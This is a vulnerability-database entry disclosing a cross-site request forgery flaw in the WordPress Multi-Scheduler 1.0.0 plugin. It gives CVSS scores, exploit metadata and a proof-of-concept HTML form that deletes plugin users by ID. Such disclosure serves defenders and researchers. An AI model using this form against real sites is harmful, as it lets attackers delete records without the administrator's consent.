WordPress Multi-Scheduler 1.0.0 - Cross Site Request Forgery

2020-05-3014:58:49

0daydb.com

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

JSON

WordPress Multi-Scheduler plugin version 1.0.0 suffers from a cross site request forgery vulnerability.

# Exploit Title: WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)
# Google Dork: N/A
# Date: 2020-05-21
# Exploit Author: UnD3sc0n0c1d0
# Vendor Homepage: https://www.bdtask.com/
# Software Link: https://downloads.wordpress.org/plugin/multi-scheduler.1.0.0.zip
# Category: Web Application
# Version: 1.0.0
# Tested on: CentOS 7 / WordPress 5.4.1
# CVE : N/A

# 1. Technical Description:
The Multi-Scheduler plugin 1.0.0 for WordPress has a Cross-Site Request Forgery (CSRF) vulnerability 
in the forms it presents, allowing the possibility of deleting records (users) when an ID is known.
  
# 2. Proof of Concept (PoC):
<html>
<form method="POST" action="http://[TARGET]/wp-admin/admin.php?page=msbdt_professional">
<input type="hidden" value="[ID]" name="pro_delete_id"><br>
<input type="hidden" value="Delete" name="professional_delete">
<input type="submit" value="Delete user">
</form>
</html>